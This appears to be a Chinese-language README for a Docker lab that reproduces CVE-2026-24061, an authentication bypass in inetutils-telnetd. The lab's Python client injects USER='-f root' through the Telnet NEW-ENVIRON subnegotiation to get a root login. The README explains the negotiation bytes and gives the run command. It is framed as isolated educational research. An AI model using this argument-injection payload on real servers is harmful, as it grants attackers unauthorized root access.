一个用于实验 Telnet 协议协商 的轻量级 Docker 实验环境,相关原理在 CVE-2026-24061 漏洞利用中有所说明,该漏洞利用通过 NEW-ENVIRON 选项实现自动用户名注入。
本项目创建了一个隔离的客户端-服务器环境,用于研究 Telnet 如何处理基于环境变量的认证绕过。
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| 客户端 | | Telnet |
| Python | | 服务器 |
+---------+ +---------+
| 容器 | 角色 |
|---|
| node1 | 带自动登录脚本的 Python 客户端 |
| node2 | Telnet 服务器(inetutils-telnetd 2.7) |
两个服务运行在名为 labnet 的私有 Docker 桥接网络中。
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
该文件负责安装名为 node1 的客户端容器。
我选择 python:3.12-slim 作为基础镜像,因为本实验环境仅用于网络通信。我们只安装 telnet 客户端本身,并将 exploit.py 复制到容器的根目录。
该文件负责安装名为 node2 的服务器容器。
该容器同样使用相同的基础镜像。不过,安装过程涉及更多步骤:
wget,以获取存在漏洞的 telnetd 版本。apt get install -y 进行安装。/etc/inetd.conf 的行用于启用 telnet 服务。在文件顶部,我们声明了一些常量:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC 的值为 255,表示 Interpret As Command(解释为命令),它标志着 Telnet 控制序列的开始。
你可以在此处查看更多选项。
格式通常如下:
IAC <command> <option>
在脚本中,有以下部分:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
这个 if 语句检查当前从服务器接收到的数据中是否包含 IAC 值,如果包含,则需要将其解释为命令。
我们使用 while 循环遍历接收到的数据,逐字节检查是否为 IAC。
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
如果是,我们将 cmd 和 opt 变量赋值为数据流中对应的字节。
如果 opt 的值等于 NEW_ENVIRON 的值,脚本将运行 send_new_environ_user 方法。
让我们检查以下代码部分:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB 和 SE 是 Telnet 协议常量的一部分。SB 代表 'Subnegotiation begin'(子协商开始),而 SE 代表 'Subnegotiation end'(子协商结束)。这两个值之间的任何内容都是与某个特定命令相关的设置,会发送给服务器。在本例中,我们想要使用 rfc1572 标准发送一条消息,详细内容见此处。
我们可以将字节序列大致翻译成英文,如下:
- 将其解释为命令(IAC)
- 它是(0)
- 一个新的环境变量(NEW_ENVIRON)
- 该新环境变量的值是(b"USER" + bytes([ENV_VALUE]) + username.encode())
- 结束子连接(IAC + SE)
然而,在某些情况下,目标 Telnet 服务器不支持与用户名相关的环境变量。此时,我们会回退到传统方式发送用户名。
验证安装:
docker --version
docker compose version
docker compose up --build -d
检查状态:
docker ps
你应该能看到:
node1node2docker exec -it node1 bash
设置用户名并运行脚本:
USER="-f root" python exploit.py node2
脚本将执行以下操作:
node2 的 23 端口USER=-f rootlabnet| 主机名 | 服务 |
|---|---|
| node1 | 客户端 |
| node2 | Telnet 服务器 |
客户端脚本:
IAC、DO、WILL,这些是 Telnet 协议中用于客户端和服务器之间选项协商的基础命令。NEW-ENVIRON 请求USER=<$USER 的值>
login: 或 username: 提示符作为回退方案停止环境:
docker compose down
如果还想删除容器和镜像:
docker compose down --rmi all
Telnet 以明文传输数据,不安全。 本项目仅用于隔离环境中的教育目的。
连接被拒绝
确保容器正在运行:
docker ps
脚本以 USER 错误退出
USER="-f root" python exploit.py node2
修改后重新构建
docker compose up --build
本仓库仅用于教育和研究用途。 欢迎贡献和改进。